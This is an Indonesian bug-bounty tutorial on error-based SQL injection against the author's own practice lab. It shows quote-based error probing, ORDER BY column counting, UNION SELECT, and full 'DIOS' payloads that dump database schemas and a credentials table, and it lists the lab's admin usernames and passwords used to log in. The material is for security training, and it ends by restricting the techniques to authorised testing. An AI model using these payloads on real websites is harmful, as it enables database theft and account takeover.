Di artikel sebelumnya, Bagian 2 membahas tentang Cross-Site Scripting (XSS) — mulai dari pengertian, cara mendeteksi, hingga teknik mengeksploitasinya di program bug bounty. Pada Bagian 3 ini, kita akan melanjutkan pembahasan ke salah satu kerentanan paling berbahaya dalam aplikasi web, yaitu SQL Injection. Kamu akan mempelajari apa itu SQL Injection, jenis-jenisnya, cara mendeteksinya, hingga teknik eksploitasi yang sering digunakan para bug hunter untuk menemukan celah keamanan dan mendapatkan reward di program bug bounty.
Pada Bagian 3 ini kita akan membahas secara mendalam tentang SQL Injection — salah satu kerentanan paling populer yang sering ditemukan oleh para bug hunter. Artikel ini akan menjelaskan cara mengenali celah SQL Injection, teknik mengeksploitasinya secara aman, serta tips untuk memaksimalkan peluang menemukan bug di program bug bounty. Cocok untuk pemula maupun yang ingin meningkatkan skill dalam dunia bug bounty. Di artikel ini, kamu akan mempelajari:
Apa itu SQL Injection
Dampak Bug SQL Injection
Jenis-jenis SQL Injection yang umum ditemukan di website
Tujuan artikel ini adalah memberikan kalian pemahaman mendalam mengenai SQL Injection yang saya rangkum dari berbagai sumber. — Dan saya sudah membuat Labs SQL Injection untuk kalian praktek. Dengan pengetahuan ini, kalian akan lebih percaya diri dalam menemukan, menguji, dan melaporkan kerentanan SQL Injection kepada vendor, sehingga peluang mendapatkan reward dalam program bug bounty menjadi lebih besar.
Apa itu SQL Injection
SQL Injection adalah jenis injection attack di mana query SQL disisipkan melalui input pengguna ke aplikasi, dengan tujuan memodifikasi atau memanipulasi perintah SQL yang telah ditetapkan. Serangan ini memungkinkan penyerang untuk membaca data sensitif, mengubah data, menjalankan operasi administratif seperti mematikan DBMS, mengakses file di sistem, dan dalam kasus ekstrem bahkan mengeksekusi perintah pada sistem operasi. Baca selengkapnya di https://owasp.org/www-community/attacks/SQL_Injection
Singkatnya, dengan Bug SQL Injection ini kalian bisa lihat database target, bahkan sampai isi columns seperti Password, Email, dan Kredensial sensitif lainnya yang seharusnya tidak boleh diakses. Di dunia bug bounty, celah ini jadi salah satu yang paling dicari karena dampaknya besar dan peluang reward-nya tinggi.
Dampak Bug SQL Injection
Lihat isi database — misalnya daftar user, email, password (biasanya dalam bentuk hash).
Ambil data sensitif — seperti data pengguna, transaksi, atau informasi internal.
Ubah atau hapus data — bisa bikin data rusak atau hilang.
Buat akun admin baru di sistem target.
Jalanin perintah khusus di server database (kalau aksesnya memungkinkan).
Akses file penting di server atau bahkan ambil alih sistem sepenuhnya.
Jenis-jenis SQL Injection yang sering ditemukan di website
SQL Injection ada banyak jenis, di artikel ini kita akan belajar SQL Injection Error-Based. Dan ada beberapa jenis lainnya yang paling sering ditemukan, yaitu:
Error-Based SQL Injection
Union-Based SQL Injection
Time-Based Blind SQL Injection
Sekarang kita mulai praktek SQL Injection Error-Based menggunakan DIOS .
Apa itu DIOS
DIOS (Dump In One Shot) adalah teknik SQL Injection yang digunakan untuk mengambil banyak informasi dari database sekali eksekusi payload.
Biasanya proses SQLi dilakukan bertahap (cari database → cari tabel → cari kolom → dump data), DIOS menggabungkannya jadi satu query panjang.
Keuntungannya: cepat, efisien, dan minim request.
Kekurangannya: tidak semua target support karena panjang query bisa melebihi batas, atau ada filter WAF yang memblokir.
Dengan DIOS, kita bisa langsung mendapatkan:
Nama database
Daftar tabel
Daftar kolom dari setiap tabel
Data penting (misalnya username dan password)
Di lab ini, kamu akan belajar bagaimana memanfaatkan pesan error dari database untuk mendapatkan informasi penting, seperti jumlah kolom, nama tabel, hingga isi data. Teknik ini cocok untuk pemula yang ingin memahami konsep SQL Injection secara nyata, karena respon error akan langsung terlihat di layar, sehingga proses belajarnya lebih interaktif dan mudah diikuti.
URL Labs: https://labs.parkerzanta.net/bug/sqli/
Step 1 — cek apakah parameter rentan SQL Injection
1. Trigger error sederhana
Pergi ke halaman detail produk : https://labs.parkerzanta.net/bug/sqli/product.php?id=3 Masukkan tanda kutip ' (single quote) di parameter URL atau input form di labs kalian bisa test masukan tanda kutip ' di parameter id. Jika halaman menampilkan pesan error database, misalnya:
SQL Error: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''3''' at line 1
Jika ada pesan Error di atas berarti rentan terhadap SQL Injection Error Based. Biasanya tidak hanya menampilkan pesan You have an error in your SQL syntax xxx, bisa juga halaman menjadi rusak, misal nya gambar tidak tampil, halaman menjadi blank, kemungkinan rentan SQL Injection.
2. Konfirmasi dengan komentar SQL
Setelah memasukan tanda kutip ' (single quote) tambahkan komentar -- - (double dash + spasi + minus) untuk memutus query, contoh: https://labs.parkerzanta.net/bug/sqli/product.php?id=3'-- -
Jika halaman kembali normal atau tidak menampilkan error lagi, berarti query di belakangnya memang terputus oleh komentar. Ini tandanya bahwa parameter tersebut benar-benar rentan terhadap SQL Injection Error-Based.
Sinkatnya, untuk mengetahui URL tersebut rentan SQL Injection atau tidak bisak kalian bisa test dengan menambahkan tanda kutip ' di parameter. Jika halaman ada pesan error, atau halaman menjadi rusak, kalian konfirmasi kembali dengan menambahkan komentar -- - jika kembali normal berarti di parameter tersebut rentan SQL Injection Error-Based.
Step 2 — Cari jumlah kolom dengan ORDER BY
Uji jumlah kolom yang tersedia di query Tingkatkan angkanya sampai muncul error. Angka terakhir sebelum error adalah jumlah kolomnya. Kalian coba test di halaman labs nya. Atau buka url berikut:
https://labs.parkerzanta.net/bug/sqli/product.php?id=3' order by 1-- - → NO ERROR
https://labs.parkerzanta.net/bug/sqli/product.php?id=3' order by 2-- - → NO ERROR
https://labs.parkerzanta.net/bug/sqli/product.php?id=3' order by 3-- - → NO ERROR
https://labs.parkerzanta.net/bug/sqli/product.php?id=3' order by 4-- - → NO ERROR
https://labs.parkerzanta.net/bug/sqli/product.php?id=3' order by 5-- - → NO ERROR
https://labs.parkerzanta.net/bug/sqli/product.php?id=3' order by 6-- - → ERROR
Pada labs di atas muncul pesan error di bawah saat melakukan ORDER BY sampai angka 6 Jadi, jumlah kolom nya ada 5 jadi kita akan UNION SELECT sampai angka 5.
SQL Error: SQLSTATE[42S22]: Column not found: 1054 Unknown column '6' in 'ORDER BY'
Step 3 — Uji Dengan UNION SELECT untuk memunculkan nomor di halaman
Gunakan jumlah kolom yang sudah ditemukan. Misalnya jumlah kolom di atas ada 5, kalian coba:
product.php?id=-3' union select 1,2,3,4,5-- -
Gunakan jumlah kolom yang di temukan pada Step 2. Error saat ORDER BY di angka 6 jadi kita Union Select sampai angka 5. Dan pada saat UNION SELECT kalian tambahkan tanda minus - sebelum id product. Buka link berikut: https://labs.parkerzanta.net/bug/sqli/product.php?id=-3 union select 1,2,3,4,5-- -
Di halaman tersebut pas kita UNION SELECT muncul angka 2, 4, dan 3. Jadi kita bisa memasukan DIOS di salah satu angka tersebut.
Step 4 — Masukan Payload DIOS untuk mendapatkan nama Database, Tables, dan Columns
Masukan payload DIOS di salah satu angka yang keluar di halaman saat melakukan UNION SELECT pada step 3. Payload DIOS di bawah akan menampilkan nama Database, Tables, dan Columns
Payload DIOS:
(SELECT CONCAT('SQL Injection Labs - Parkerzanta.net',0x3c62723e,0x3c62723e,'Nama Database [',(SELECT COUNT(*) FROM information_schema.schemata WHERE schema_name IN (database(),'information_schema')),']:',0x3c62723e,(SELECT GROUP_CONCAT(CONCAT(0x5b2a5d,0x20,schema_name) ORDER BY schema_name SEPARATOR 0x3c62723e) FROM information_schema.schemata WHERE schema_name IN (database(),'information_schema')),0x3c62723e,0x3c62723e,'Nama database :: Nama tables :: Nama Columns :',0x3c62723e,(SELECT GROUP_CONCAT(CONCAT(table_schema,0x20,0x3a,0x3a,0x20,table_name,0x20,0x3a,0x3a,0x20,column_name) ORDER BY table_schema,table_name,ordinal_position SEPARATOR 0x3c62723e) FROM information_schema.columns WHERE table_schema IN (database(),'information_schema'))))
Contoh saya memasukan Payload DIOS di atas pada angka 3. Maka akan menjadi seperti berikut:
https://labs.parkerzanta.net/bug/sqli/product.php?id=-3' union select 1,2,(SELECT CONCAT('SQL Injection Labs - Parkerzanta.net',0x3c62723e,0x3c62723e,'Nama Database [',(SELECT COUNT(*) FROM information_schema.schemata WHERE schema_name IN (database(),'information_schema')),']:',0x3c62723e,(SELECT GROUP_CONCAT(CONCAT(0x5b2a5d,0x20,schema_name) ORDER BY schema_name SEPARATOR 0x3c62723e) FROM information_schema.schemata WHERE schema_name IN (database(),'information_schema')),0x3c62723e,0x3c62723e,'Nama database :: Nama tables :: Nama Columns :',0x3c62723e,(SELECT GROUP_CONCAT(CONCAT(table_schema,0x20,0x3a,0x3a,0x20,table_name,0x20,0x3a,0x3a,0x20,column_name) ORDER BY table_schema,table_name,ordinal_position SEPARATOR 0x3c62723e) FROM information_schema.columns WHERE table_schema IN (database(),'information_schema')))),4,5-- -
Salin dan buka di tab baru URL di atas, halaman akan menampilkan Nama Database, Tables, dan Columns seperti gambar di bawah
Step 5 — Dump Data Sensitif menggunakan DIOS
Pada tahap ini, kita sudah tahu nama database, tabel, dan kolom hasil dari Step 4. Sekarang kita akan mengambil isi kolom atau columns yang mengandung data sensitif, seperti username, email, password, atau informasi rahasia lainnya, menggunakan Payload DIOS di bawah:
(SELECT CONCAT('SQL Injection Labs - Parkerzanta.net',0x3c62723e,0x3c62723e,(SELECT GROUP_CONCAT(CONCAT(`nama_columns1`,0x20,0x3a,0x3a,0x20,`nama_colums2`) SEPARATOR 0x3c62723e) FROM `nama_database`.`nama_tables`)))
Kalian coba scroll ke halaman paling bawah di URL Dios di Step ke 4 maka kalian akan melihat detail berikut:
u1577996_labsparkerzanta.net :: credentials :: id
u1577996_labsparkerzanta.net :: credentials :: username
u1577996_labsparkerzanta.net :: credentials :: email
u1577996_labsparkerzanta.net :: credentials :: password
u1577996_labsparkerzanta.net :: products :: id
u1577996_labsparkerzanta.net :: products :: name
u1577996_labsparkerzanta.net :: products :: description
u1577996_labsparkerzanta.net :: products :: price
u1577996_labsparkerzanta.net :: products :: image
u1577996_labsparkerzanta.net — adalah nama Database
credentials — adalah nama Tables/Tabel
id, username, email, dan password — adalah nama Columns/Kolom dari Tables credentials
Jadi, contoh kita akan dump/mengambil data username dan password dari columns credentials maka ganti Payload DIOS dump di atas menjadi seperti berikut:
(SELECT CONCAT('SQL Injection Labs - Parkerzanta.net',0x3c62723e,0x3c62723e,(SELECT GROUP_CONCAT(CONCAT(`username`,0x20,0x3a,0x3a,0x20,`password`) SEPARATOR 0x3c62723e) FROM `u1577996_labsparkerzanta.net`.`credentials`)))
URL akhir akan terlihat seperti berikut:
Maka di halaman akan menampilkan Username dan Password dari pengguna labs. Yang bisa kalian gunakan untuk masuk ke halaman Dashboard.
Bisa dilihat pada gambar di atas, kita memasukan Payload DIOS untuk melakukan Tables dari Columns username dan password. Dan kita mendapatkan sebuah Credentials pengguna untuk masuk ke halaman Dashboardadministrator :: administrator123
staff :: 12345678
cs :: pass123
Contoh menggunakan Username: administrator dan Password: administrator123 kalian bisa login di URL beerikut: https://labs.parkerzanta.net/bug/sqli/login.php
Penutup
SQL Injection adalah salah satu kerentanan web yang paling berbahaya karena dampaknya bisa sangat besar — mulai dari membaca isi database, mencuri data sensitif, hingga mengambil alih kendali sistem.
Melalui lab ini, kita telah mempraktikkan bagaimana mengidentifikasi celah SQL Injection Error-Based, menentukan jumlah kolom, menemukan kolom yang tampil, hingga menggunakan teknik DIOS (Dump In One Shot) untuk mendapatkan informasi database secara cepat.
Perlu diingat, semua teknik yang dibahas di artikel ini hanya boleh digunakan pada lingkungan pengujian atau program bug bounty resmi yang mengizinkan pengujian keamanan. Melakukan eksploitasi pada sistem tanpa izin adalah ilegal dan dapat berakibat serius secara hukum.
Dan di program bug bounty kalian tidak harus mengambil data sensitif untuk bukti bahwa kalian menemukan kerentanan SQL Injection. Menampilkan nama database saja sudah cukup untuk membuat laporan.
Dengan memahami cara kerja SQL Injection dari dasar hingga teknik lanjutan seperti DIOS, diharapkan kamu bisa lebih percaya diri saat melakukan hunting bug bounty, sekaligus mampu membantu pemilik sistem memperbaiki celah keamanan yang ditemukan.
Posting Komentar